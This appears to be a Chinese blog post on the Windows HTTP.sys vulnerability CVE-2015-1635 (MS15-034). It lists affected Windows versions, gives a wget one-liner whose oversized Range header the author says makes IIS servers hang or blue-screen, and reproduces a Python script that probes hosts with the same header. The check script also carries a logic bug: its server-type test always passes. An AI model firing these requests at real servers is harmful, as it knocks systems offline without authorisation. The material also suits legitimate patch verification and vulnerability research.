CVE-2015-1635，MS15-034 漏洞测试

HTTP.sys远程执行代码漏洞(CVE-2015-1635,MS15-034)

远程执行代码漏洞存在于 HTTP 协议堆栈 (HTTP.sys) 中，当 HTTP.sys 未正确分析经特殊设计的 HTTP 请求时会导致此漏洞。

成功利用此漏洞的攻击者可以在系统帐户的上下文中执行任意代码。

https://technet.microsoft.com/zh-cn/library/security/MS15-034

漏洞出来了POC，测试如下：

影响版本：

windows 2008 R2

windows sever 2012

windows 7

windows 8 8.1

安装IIS6.0以上。 (IIS version > 6.0)

HTTP.sys不懂其他地方用不用，所以暂时只了解影响WEB服务器。

测试POC:

系统必假死或者蓝屏：

wget --header="Range: bytes=18-18446744073709551615" http://192.168.200.49/welcome.png

 https://github.com/yanyueoo7/TestOne/blob/master/CVE-2015-1635.py

#!/usr/bin/env python

# -*- coding: utf-8 -*-

#date 2015/04/20

#The IIS Vul （CVE-2015-1635，MS15-034）Check Script.

#HTTP.sys Remote Code Execute.



import sys

import requests



def main():

	ip_Str = sys.argv[1]

	Check_CVE_2015_1635(ip_Str)



def Check_CVE_2015_1635(Ip_Str):

	if Ip_Str:

		Server_Tag = ['Microsoft-HTTP','Microsoft-IIS']

		Tmp_Req_Url = str(''.join(['http://',Ip_Str]))

		Request_Tmp = requests.get(Tmp_Req_Url)

		remote_server = Request_Tmp.headers[ 'server']

		if (tmp_tag in remote_server for tmp_tag in Server_Tag):

			print("[+] Web Service Is " + remote_server)

			MS15_034_Execute(Tmp_Req_Url)

		else:

			print("[+] Web Service Is Not IIS\n[+] May Be " + remote_server)



def MS15_034_Execute(domain):

	print("[+] Start Checking...")

	Req_headers = {'Host': 'stuff','Range': 'bytes=0-18446744073709551615'}

	Request = requests.get(domain, headers=Req_headers)

	if 'Requested Range Not Satisfiable' in Request.content:

		print("[+] The HTTP.sys remote code execution vulnerability Is Exists!")

	elif 'The request has an invalid header name' in Request.content:

		print("[+] The vulnerability has been fixed!")

	else:

		print("[+] The IIS service was unable to display the vulnerability exists, the need for manual testing!")



if __name__ == '__main__':

	main()